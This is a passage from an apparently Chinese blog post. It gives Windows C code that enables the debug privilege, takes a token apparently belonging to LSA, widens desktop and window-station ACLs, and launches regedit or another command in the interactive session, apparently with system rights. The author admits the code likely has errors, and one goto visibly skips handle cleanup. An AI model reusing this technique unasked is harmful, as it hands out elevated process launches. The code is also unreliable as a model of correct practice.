           lpszPassword,
           LOGON32_LOGON_INTERACTIVE,
           LOGON32_PROVIDER_DEFAULT,
           &hToken) )
   {
      goto Cleanup;
   }

// Save a handle to the caller's current window station.

   if ( (hwinstaSave = GetProcessWindowStation() ) == NULL)
      goto Cleanup;

// Get a handle to the interactive window station.

   hwinsta = OpenWindowStation(
       "winsta0",                   // the interactive window station
       FALSE,                       // handle is not inheritable
       READ_CONTROL | WRITE_DAC);   // rights to read/write the DACL

   if (hwinsta == NULL)
      goto Cleanup;

// To get the correct default desktop, set the caller's
// window station to the interactive window station.

   if (!SetProcessWindowStation(hwinsta))
      goto Cleanup;

// Get a handle to the interactive desktop.

   hdesk = OpenDesktop(
      "default",     // the interactive window station
      0,             // no interaction with other desktop processes
      FALSE,         // handle is not inheritable
      READ_CONTROL | // request the rights to read and write the DACL
      WRITE_DAC |
      DESKTOP_WRITEOBJECTS |
      DESKTOP_READOBJECTS);

// Restore the caller's window station.

   if (!SetProcessWindowStation(hwinstaSave))
      goto Cleanup;

   if (hdesk == NULL)
      goto Cleanup;

// Get the SID for the client's logon session.

   if (!GetLogonSID(hToken, &pSid))
      goto Cleanup;

// Allow logon SID full access to interactive window station.

   if (! AddAceToWindowStation(hwinsta, pSid) )
      goto Cleanup;

// Allow logon SID full access to interactive desktop.

   if (! AddAceToDesktop(hdesk, pSid) )
      goto Cleanup;

// Impersonate client to ensure access to executable file.

   if (! ImpersonateLoggedOnUser(hToken) )
      goto Cleanup;

// Initialize the STARTUPINFO structure.
// Specify that the process runs in the interactive desktop.

   ZeroMemory(&si, sizeof(STARTUPINFO));
   si.cb= sizeof(STARTUPINFO);
   si.lpDesktop = TEXT("winsta0//default");  //You can use EnumWindowStations to enum desktop

// Launch the process in the client's logon session.

   bResult = CreateProcessAsUser(
      hToken,            // client's access token
      NULL,              // file to execute
      lpCommandLine,     // command line
      NULL,              // pointer to process SECURITY_ATTRIBUTES
      NULL,              // pointer to thread SECURITY_ATTRIBUTES
      FALSE,             // handles are not inheritable
      NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE,   // creation flags
      NULL,              // pointer to new environment block
      NULL,              // name of current directory
      &si,               // pointer to STARTUPINFO structure
      &pi                // receives information about new process
   );

// End impersonation of client.

   RevertToSelf();

   goto Cleanup;
   //return bResult; <------------------------------------------------------------------------

   if (bResult && pi.hProcess != INVALID_HANDLE_VALUE)
   {
      WaitForSingleObject(pi.hProcess, INFINITE);
      CloseHandle(pi.hProcess);
   }

   if (pi.hThread != INVALID_HANDLE_VALUE)
      CloseHandle(pi.hThread);  

Cleanup:

   if (hwinstaSave != NULL)
      SetProcessWindowStation (hwinstaSave);

// Free the buffer for the logon SID.

   if (pSid)
      FreeLogonSID(&pSid);

// Close the handles to the interactive window station and desktop.

   if (hwinsta)
      CloseWindowStation(hwinsta);

   if (hdesk)
      CloseDesktop(hdesk);

// Close the handle to the client's access token.

   if (hToken != INVALID_HANDLE_VALUE)
      CloseHandle(hToken);  

   return bResult;
}

BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid)
{
   ACCESS_ALLOWED_ACE   *pace;
   ACL_SIZE_INFORMATION aclSizeInfo;
   BOOL                 bDaclExist;
   BOOL                 bDaclPresent;
   BOOL                 bSuccess = FALSE;
   DWORD                dwNewAclSize;
   DWORD                dwSidSize = 0;
   DWORD                dwSdSizeNeeded;
   PACL                 pacl;
   PACL                 pNewAcl;
   PSECURITY_DESCRIPTOR psd = NULL;
   PSECURITY_DESCRIPTOR psdNew = NULL;
   PVOID                pTempAce;
   SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;
   unsigned int         i;

   __try
   {
      // Obtain the DACL for the window station.

      if (!GetUserObjectSecurity(
             hwinsta,
             &si,
             psd,
             dwSidSize,
             &dwSdSizeNeeded)
      )
      if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
      {
         psd = (PSECURITY_DESCRIPTOR)HeapAlloc(
               GetProcessHeap(),
               HEAP_ZERO_MEMORY,
               dwSdSizeNeeded);

         if (psd == NULL)
            __leave;

         psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(
               GetProcessHeap(),
               HEAP_ZERO_MEMORY,
               dwSdSizeNeeded);

         if (psdNew == NULL)
            __leave;

         dwSidSize = dwSdSizeNeeded;

         if (!GetUserObjectSecurity(
               hwinsta,
               &si,
               psd,
               dwSidSize,
               &dwSdSizeNeeded)
         )
            __leave;
      }
      else
         __leave;

      // Create a new DACL.

      if (!InitializeSecurityDescriptor(
            psdNew,
            SECURITY_DESCRIPTOR_REVISION)
      )
         __leave;

      // Get the DACL from the security descriptor.

      if (!GetSecurityDescriptorDacl(
            psd,
            &bDaclPresent,
            &pacl,
            &bDaclExist)
      )
         __leave;

      // Initialize the ACL.

      ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));
      aclSizeInfo.AclBytesInUse = sizeof(ACL);

      // Call only if the DACL is not NULL.

      if (pacl != NULL)
      {
         // get the file ACL size info
         if (!GetAclInformation(
               pacl,
               (LPVOID)&aclSizeInfo,
               sizeof(ACL_SIZE_INFORMATION),
               AclSizeInformation)
         )
            __leave;
      }

      // Compute the size of the new ACL.

      dwNewAclSize = aclSizeInfo.AclBytesInUse + (2*sizeof(ACCESS_ALLOWED_ACE)) + (2*GetLengthSid(psid)) - (2*sizeof(DWORD));

      // Allocate memory for the new ACL.

      pNewAcl = (PACL)HeapAlloc(
            GetProcessHeap(),
            HEAP_ZERO_MEMORY,
            dwNewAclSize);

      if (pNewAcl == NULL)
         __leave;

      // Initialize the new DACL.

      if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))
         __leave;

      // If DACL is present, copy it to a new DACL.

      if (bDaclPresent)
      {
         // Copy the ACEs to the new ACL.
         if (aclSizeInfo.AceCount)
         {
            for (i=0; i < aclSizeInfo.AceCount; i++)
            {
               // Get an ACE.
               if (!GetAce(pacl, i, &pTempAce))
                  __leave;

               // Add the ACE to the new ACL.
               if (!AddAce(
                     pNewAcl,
                     ACL_REVISION,
                     MAXDWORD,
                     pTempAce,
                    ((PACE_HEADER)pTempAce)->AceSize)
               )
                  __leave;
            }
         }
      }

      // Add the first ACE to the window station.

      pace = (ACCESS_ALLOWED_ACE *)HeapAlloc(
            GetProcessHeap(),
            HEAP_ZERO_MEMORY,
            sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psid) -
                  sizeof(DWORD));

      if (pace == NULL)
         __leave;

      pace->Header.AceType  = ACCESS_ALLOWED_ACE_TYPE;
      pace->Header.AceFlags = CONTAINER_INHERIT_ACE |
                   INHERIT_ONLY_ACE | OBJECT_INHERIT_ACE;
      pace->Header.AceSize  = sizeof(ACCESS_ALLOWED_ACE) +
                   GetLengthSid(psid) - sizeof(DWORD);
      pace->Mask            = GENERIC_ACCESS;

      if (!CopySid(GetLengthSid(psid), &pace->SidStart, psid))
         __leave;

      if (!AddAce(
            pNewAcl,
            ACL_REVISION,
            MAXDWORD,
            (LPVOID)pace,
            pace->Header.AceSize)
      )
         __leave;

      // Add the second ACE to the window station.

      pace->Header.AceFlags = NO_PROPAGATE_INHERIT_ACE;
      pace->Mask            = WINSTA_ALL;

      if (!AddAce(
            pNewAcl,
            ACL_REVISION,
            MAXDWORD,
            (LPVOID)pace,
            pace->Header.AceSize)
      )
         __leave;

      // Set a new DACL for the security descriptor.

      if (!SetSecurityDescriptorDacl(
            psdNew,
            TRUE,
            pNewAcl,
            FALSE)
      )
         __leave;

      // Set the new security descriptor for the window station.

      if (!SetUserObjectSecurity(hwinsta, &si, psdNew))
         __leave;

      // Indicate success.

      bSuccess = TRUE;
   }
   __finally
   {
      // Free the allocated buffers.

      if (pace != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)pace);

      if (pNewAcl != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);

      if (psd != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)psd);

      if (psdNew != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew);
   }

   return bSuccess;

}

BOOL AddAceToDesktop(HDESK hdesk, PSID psid)
{
   ACL_SIZE_INFORMATION aclSizeInfo;
   BOOL                 bDaclExist;
   BOOL                 bDaclPresent;
   BOOL                 bSuccess = FALSE;
   DWORD                dwNewAclSize;
   DWORD                dwSidSize = 0;
   DWORD                dwSdSizeNeeded;
   PACL                 pacl;
   PACL                 pNewAcl;
   PSECURITY_DESCRIPTOR psd = NULL;
   PSECURITY_DESCRIPTOR psdNew = NULL;
   PVOID                pTempAce;
   SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;
   unsigned int         i;

   __try
   {
      // Obtain the security descriptor for the desktop object.

      if (!GetUserObjectSecurity(
            hdesk,
            &si,
            psd,
            dwSidSize,
            &dwSdSizeNeeded))
      {
         if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
         {
            psd = (PSECURITY_DESCRIPTOR)HeapAlloc(
                  GetProcessHeap(),
                  HEAP_ZERO_MEMORY,
                  dwSdSizeNeeded );

            if (psd == NULL)
               __leave;

            psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(
                  GetProcessHeap(),
                  HEAP_ZERO_MEMORY,
                  dwSdSizeNeeded);

            if (psdNew == NULL)
               __leave;

            dwSidSize = dwSdSizeNeeded;

            if (!GetUserObjectSecurity(
                  hdesk,
                  &si,
                  psd,
                  dwSidSize,
                  &dwSdSizeNeeded)
            )
               __leave;
         }
         else
            __leave;
      }

      // Create a new security descriptor.

      if (!InitializeSecurityDescriptor(
            psdNew,
            SECURITY_DESCRIPTOR_REVISION)
      )
         __leave;

      // Obtain the DACL from the security descriptor.

      if (!GetSecurityDescriptorDacl(
            psd,
            &bDaclPresent,
            &pacl,
            &bDaclExist)
      )
         __leave;

      // Initialize.

      ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));
      aclSizeInfo.AclBytesInUse = sizeof(ACL);

      // Call only if NULL DACL.

      if (pacl != NULL)
      {
         // Determine the size of the ACL information.

         if (!GetAclInformation(
               pacl,
               (LPVOID)&aclSizeInfo,
               sizeof(ACL_SIZE_INFORMATION),
               AclSizeInformation)
         )
            __leave;
      }

      // Compute the size of the new ACL.

      dwNewAclSize = aclSizeInfo.AclBytesInUse +
            sizeof(ACCESS_ALLOWED_ACE) +
            GetLengthSid(psid) - sizeof(DWORD);

      // Allocate buffer for the new ACL.

      pNewAcl = (PACL)HeapAlloc(
            GetProcessHeap(),
            HEAP_ZERO_MEMORY,
            dwNewAclSize);

      if (pNewAcl == NULL)
         __leave;

      // Initialize the new ACL.

      if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))
         __leave;

      // If DACL is present, copy it to a new DACL.

      if (bDaclPresent)
      {
         // Copy the ACEs to the new ACL.
         if (aclSizeInfo.AceCount)
         {
            for (i=0; i < aclSizeInfo.AceCount; i++)
            {
               // Get an ACE.
               if (!GetAce(pacl, i, &pTempAce))
                  __leave;

               // Add the ACE to the new ACL.
               if (!AddAce(
                  pNewAcl,
                  ACL_REVISION,
                  MAXDWORD,
                  pTempAce,
                  ((PACE_HEADER)pTempAce)->AceSize)
               )
                  __leave;
            }
         }
      }

      // Add ACE to the DACL.

      if (!AddAccessAllowedAce(
            pNewAcl,
            ACL_REVISION,
            DESKTOP_ALL,
            psid)
      )
         __leave;

      // Set new DACL to the new security descriptor.

      if (!SetSecurityDescriptorDacl(
            psdNew,
            TRUE,
            pNewAcl,
            FALSE)
      )
         __leave;

      // Set the new security descriptor for the desktop object.

      if (!SetUserObjectSecurity(hdesk, &si, psdNew))
         __leave;

      // Indicate success.

      bSuccess = TRUE;
   }
   __finally
   {
      // Free buffers.

      if (pNewAcl != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);

      if (psd != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)psd);

      if (psdNew != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew);
   }

   return bSuccess;
}

int main(int argc, char **argv)
{
    HANDLE hToken = NULL;
    EnablePrivilege(SE_DEBUG_NAME);
    hToken = GetLSAToken();
    StartInteractiveClientProcess(NULL, NULL, NULL, argc==2?argv[1]:"regedit", hToken);
    return 0;
}



上面这两种方法都能很好的完全功能,但是建议用第二种,虽然代码看上去有点长,但是很稳定.
代码又长又乱,其中肯定有错误之处,还请大家告之.谢过先... ;-)

你可能感兴趣的:(Security,null,Access,token,Descriptor,attributes)